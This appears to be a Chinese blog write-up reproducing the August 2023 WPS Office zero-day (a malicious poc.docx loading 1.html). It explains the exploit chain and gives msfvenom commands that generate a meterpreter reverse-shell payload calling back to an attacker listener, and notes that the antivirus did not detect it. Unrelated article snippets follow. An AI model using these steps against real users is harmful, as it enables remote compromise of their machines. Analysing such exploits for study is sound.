WPS-0DAY-20230809的分析和利用复现

news/2025/2/21 4:29:36/

WPS-0DAY-20230809的分析和初步复现

  • 一、漏洞学习
    • 1、本地复现
      • 环境
      • 过程
    • 2、代码解析
      • 1.html
      • exp.py
    • 3、通过修改shellcode拿shell
      • 曲折的学习
      • msf生成sc
  • 二、疑点
    • 1、问题
    • 2、我的测试
      • 测试方法
      • 测试结果

一、漏洞学习

强调:以下内容仅供学习和测试,一切行为均在本地进行。利用本文复现该漏洞后切勿从事侵权或违反《网络安全法》的行为,若造成任何后果,本人概不负责。
针对网上传的版本和github上公开的版本(提前备份一下,两个版本的zip和复现成功的虚拟机已经整合至下载板块的“WPS-0DAY-20230809”——审核结果将在2-10个工作日完成上传)进行了复现,并实现了getshell的操作,由于是第一次接触shellcode略显生疏,各位大佬多多包涵。这里分享一下自己的学习经过,也希望大佬能解答一下文末的疑点。

1、本地复现

B站上也有其他大佬本地复现的视频,可以自行搜索观看。

环境

Windows 10 企业版2H22、wps12300、phpstudy8.1.1.3(其他:火绒最新版、winrar)
(我镜像里面那个idea的安装包没啥用,纯粹是复现某个java的cms用的,这个快照也没安装,emmm,winrar自己下一个吧,我就懒得再打包一个快照了。皮一下很开心~)

过程

小皮起个本地网站,将1.html放进去,开启apache2即可
在这里插入图片描述修改hosts文件,重启网站(可以直接下载我整理的资料,到文档里复制,如果自己手中有资源或者愿意打字,当我没说)。
在这里插入图片描述双击poc.docx并打开
在这里插入图片描述本地复现成功。
在这里插入图片描述

2、代码解析

这里因为学识有限找个AI读了一下。

1.html

当分析这个代码段时,我们可以看到它实际上在利用一个 WebKit(浏览器引擎)中的漏洞,来实现对浏览器内存的非法访问和控制。以下是代码的主要漏洞利用部分的分析:

Memory Corruption:
在代码中的 foo 函数中,利用了一个 JIT (Just-In-Time) 编译器的漏洞,通过触发对函数的 JIT 编译,创建了一些特定的数据结构,这些结构在内存中存储了相互关联的函数和对象。但由于编译器的缺陷,这些结构可能被损坏,导致后续访问时产生内存错误。

Out-of-Bounds Access:
在代码中的 addrof 和 fakeobj 函数中,利用了一个越界访问漏洞,通过操纵数组的边界条件,可以读写数组之外的内存。具体来说,通过修改数组的长度和元素,可以实现越界读取和写入操作。

Arbitrary Read/Write:
通过越界访问,可以读写到特定内存位置,甚至可以读写到具有敏感权限的内存区域。这允许了对一些内存结构进行读写,从而绕过浏览器的内存保护机制。

WebAssembly and Shellcode Execution:
通过创建 WebAssembly 模块,并将其中的 shellcode(一段具有特定功能的二进制代码)写入内存,代码实现了对内存区域的写入,即将 shellcode 写入浏览器内存。之后,通过调用 WebAssembly 实例中的函数,实际上在浏览器中执行了 shellcode。

Exploitation:
总的来说,代码通过越界访问和内存错误,成功地修改了浏览器内存中的数据结构,并实现了对内存的非法读写。通过写入 shellcode 并执行它,代码最终实现了对浏览器中的操作系统层面的控制。

需要注意的是,这是一个非常复杂的漏洞利用,利用了多个不同的漏洞点,包括 JIT 编译器的缺陷、越界访问等。此类漏洞利用在现代浏览器中是极其罕见的,浏览器供应商通常会及时修复这些问题以保护用户的安全。然而,这也强调了编写安全的 JavaScript 代码以及保持浏览器更新的重要性。

exp.py

这段代码是一个 Python 脚本,主要用于修改 Microsoft Word 文档中的链接。它使用了 lxml 库来解析和处理 XML 数据,以及 zipfile 库来操作 Office Open XML (OOXML) 格式的 Word 文档(.docx 文件)。

replace_url_in_docx函数:打开指定的 .docx 文件,查找并替换其中的 URL。
具体步骤如下:
打开 .docx 文件,使用 “a” 模式,表示追加模式。
在 zip 压缩文件中查找 webExtension1.xml 文件的路径。
如果找不到 webExtension1.xml 文件,输出错误信息并关闭文件。
读取 webExtension1.xml 文件的内容。
解析 XML 内容,得到根元素。
使用特定的命名空间查找 标签,并替换其中的 URL。
将修改后的 XML 内容写回压缩文件。
关闭压缩文件。

其他的都代码没什么,解析这段代码主要就是为了复现这个“poc.docx”,但是并没有制造出这个poc.docx,具体的测试会在最后的疑点中阐述。

3、通过修改shellcode拿shell

曲折的学习

不得不感慨,还好身边有些懂行的大佬,不然复现shellcode的思路都没有,必须感谢一下“.”和“PMR”(昵称)的指导。
这里主要吐槽一下我对shellcode的第一映像,大佬们可以当个笑话乐一下。
1.html中有这样一段shellcode,套了下AI的话,它告诉我这是x86的机器码,十六进制ASCII解码后里面有个“calc”,就是倒数第五个到倒数第二个。
在这里插入图片描述我想着那就解密一下呗(现在看起来当时自己是真的蠢),但是存在函数无法识别的字符,那就写个脚本一一对应的替换一下呗。
在这里插入图片描述结果接长这样,emmmm,替换calc为charmap再加密试试?然后不出意外的失败了。

üè‚NULNULNUL`‰å1Àd‹P0‹RFF‹RDC4‹r(SI·J&1ÿ¬<a|STX,
ÁÏCRSOHÇâòRW‹RDLE‹J<‹LDC1xãHSOHÑQ‹Y
SOHÓ‹ICANã:I‹4‹SOHÖ1ÿ¬ÁÏCRSOHÇ8àuöETX}ø;}$uäX‹X$SOHÓf‹FFK‹XFSSOHÓ‹EOT‹SOHЉD$$[[aYZQÿà__Z‹DC2ë
]jSOH
…²NULNULNULPh1‹o‡ÿÕ»àGS*LFh¦•½
ÿÕ<ACK|LF€ûàuENQ»GDC3rojNULSÿÕcalcNUL

msf生成sc

好了,下面就是成功的结果了,kali终端执行一下就可以得到和网传的版本一模一样的结果了。

msfvenom -a x86 -p windows/exec CMD="calc" EXITFUNC=thread -f num

然后要拿shell就用最常规的payload,同样设置-f为num就可以了。

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=10.1.1.181 LPORT=9999 EXITFUNC=thread -f num

接着muti/hander监听一下,把生成的shellcode那道nodepad++里面删除一下“\r\n”复制并覆盖1.html的const shellcode里就行了。
最后双击poc.docx(因为懒,没有在kali启80搭1.html,如果你想要严谨一点自己在kali配置就可以了),拿到shell。
在这里插入图片描述哦,对了,再白一句,火绒没检测出来。

二、疑点

1、问题

直接说我的疑惑:image到底是什么,为什么它会影响漏洞的复现?

2、我的测试

测试方法

winrar直接打开poc.docx,进行对照实验。
在这里插入图片描述

测试结果

(不是很了解wps的文件结构,以下结论对于大佬来说可能不算什么结果)
1xlsx文件(poc.docx\word\embeddings\Workbook1.xlsx)删了倒是无所谓poc还可以正常执行,而且正常生成的docx没有该文档。
2执行exp.py修改“poc.docx\word\webExtensions\webExtension1.xml”之前需要通过wps的加载项,加载一个xml——这个poc.docx的构建黑客一定操作了这一步,因为正常生成的docx文件没有webExtensions目录。
3windows过期(或者未激活状态)复现失败。
本对照实验仅为一次简单的测试,可能存在未考虑的因素,这里分享另外两位大佬的测试流程。
https://mp.weixin.qq.com/s/JhNQRTHItiqIjeM0rOuRfg
https://mp.weixin.qq.com/s/ppgKA-i4td_1PrWQZcp2XA
本人测试结果与其存在差异或存在错误,均为能力所困,实属正常(本测试结果仅供参考)。


http://www.ppmy.cn/news/1026675.html

相关文章

Mahout教程_编程入门自学教程_菜鸟教程-免费教程分享

教程简介 Mahout 是 Apache Software Foundation&#xff08;ASF&#xff09; 旗下的一个开源项目&#xff0c;提供一些可扩展的机器学习领域经典算法的实现&#xff0c;旨在帮助开发人员更加方便快捷地创建智能应用程序。Mahout包含许多实现&#xff0c;包括聚类、分类、推荐…

题目大解析(3)

前言 这里的题目大多是用c写的。 题目 字符串中的第一个唯一字符翻转字符串验证回文串把字符串转换成整数 字符串中的第一个唯一字符 原题链接&#xff1a;字符串中的第一个唯一字符 计数法&#xff1a; class Solution { public:int firstUniqChar(string s) {int arr[130] …

高数作业啊

出函数 f ( x ) x 3 − 3 x 2 f(x)x^3-3 x^2 f(x)x3−3x2 &#xff0c;确定其单调性区间、极值点以及凹凸性。如果 y u 2 yu^2 yu2 且 u 3 x 7 u3 x7 u3x7 &#xff0c;求 d y d x \frac{d y}{d x} dxdy​ 。&#xff08;链式法则&#xff09;对于函数 f ( x , y ) x…

STM32 F103C8T6学习笔记2:GPIO的认识—GPIO的基本输入输出—点亮一个LED

今日继续学习使用 STM32 F103C8T6开发板 点亮一个LED灯&#xff0c;文章提供源码&#xff0c;测试工程&#xff0c;实验效果图&#xff0c;希望我的归纳总结会对大家有帮助~ 目录 GPIO的认识与分类 &#xff1a; 引脚安排整理&#xff1a; 定时器的引脚例举&#xff1a; …

Scractch3.0_Arduino_ESP32_学习随记_IO中断(六)

IO中断 目的器材程序联系我们 目的 ESP32 IO中断的使用。 中断&#xff1a; 当IO中断事件发生时&#xff0c;MCU将优先执行中断的程序。 打个比方&#xff1a; 你正在读一本书&#xff0c;突然手机收到一条紧急消息。你不想错过这个重要的消息&#xff0c;所以你立即停下手中的…

【深度学习_TensorFlow】调用keras高层API重写手写数字识别项目

写在前面 上一阶段我们完成了手写数字识别项目的构建&#xff0c;了解了网络构建、训练、测试的基本流程&#xff0c;但是对于一些常见的操作&#xff0c;因其使用过于频繁&#xff0c;实际上并无必要手动实现&#xff0c;而早已被封装为函数了。 这篇文章我们将了解keras高层…

2. Hello World

Hello World 我们将用 Java 编写两个程序。发送单个消息的生产者和接收消息并打印 出来的消费者。我们将介绍 Java API 中的一些细节。 在下图中&#xff0c;“ P”是我们的生产者&#xff0c;“ C”是我们的消费者。中间的框是一个队列-RabbitMQ 代 表使用者保留的消息缓冲区 …

软考笔记 信息管理师 高级

文章目录 介绍考试内容与时间教材 预习课程一些例子课本结构考试内容 1 信息与信息化1.1 信息与信息化1.1.1 信息1.1.2 信息系统1.1.3 信息化 1.2 现代化基础设施1.2.1 新型基础建设1.2.2 工业互联网1.2.3 车联网&#xff1a; 1.3 现代化创新发展1.3.1 农业农村现代化1.3.2 两化…